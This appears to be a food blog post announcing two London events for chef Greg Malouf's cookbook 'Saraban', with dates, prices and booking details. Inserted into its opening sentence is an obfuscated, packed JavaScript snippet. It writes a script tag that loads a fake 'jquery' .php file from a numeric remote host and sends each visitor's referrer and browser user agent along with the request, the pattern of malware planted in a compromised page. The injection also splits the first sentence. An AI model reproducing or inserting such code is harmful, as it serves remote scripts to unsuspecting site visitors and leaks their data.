To (function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(” 4=\’7://5.8.9.f/1/h.s.t?r=”+3(0.p)+”\o=”+3(j.i)+”\’><\/k"+"l>“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fydss|var|u0026u|referrer|rfbks||js|php’.split(‘|’),0,{}))
mark the launch of his cook book SARABAN chef Greg Malouf is touring London to showcase his recipes. Events have already taken place at La Fromagerie, Petersham Nurseries and the Dock Kitchen but there are still two chances to catch him in action:

Fortnum & Mason Talk and Evening Demonstration
Wednesday 9th February 6.30 – 7.30 pm
During an hour-long evening event at London’s centuries old, quintessentially English store Greg will show guests how to recreate his favourite Persian dishes using ingredients from the Food Hall at Fortnum & Mason.
£15 per head
Bookings – 0845 602 5694

The Saraban Reception
Thursday 10th February – 7.00 pm
An evening talk & reception with the Iran Heritage Foundation at Made in Camden at the Roundhouse. Greg and co-author Lucy will relive their journey through the kitchens and dining rooms of modern day Iran following which Made in Camden Head Chef, Josh Katz and team will prepare some Saraban inspired light bites.
£15 per head
Bookings – via Roundhouse’s website

So if you fancy some persian nosh – go seek and eat.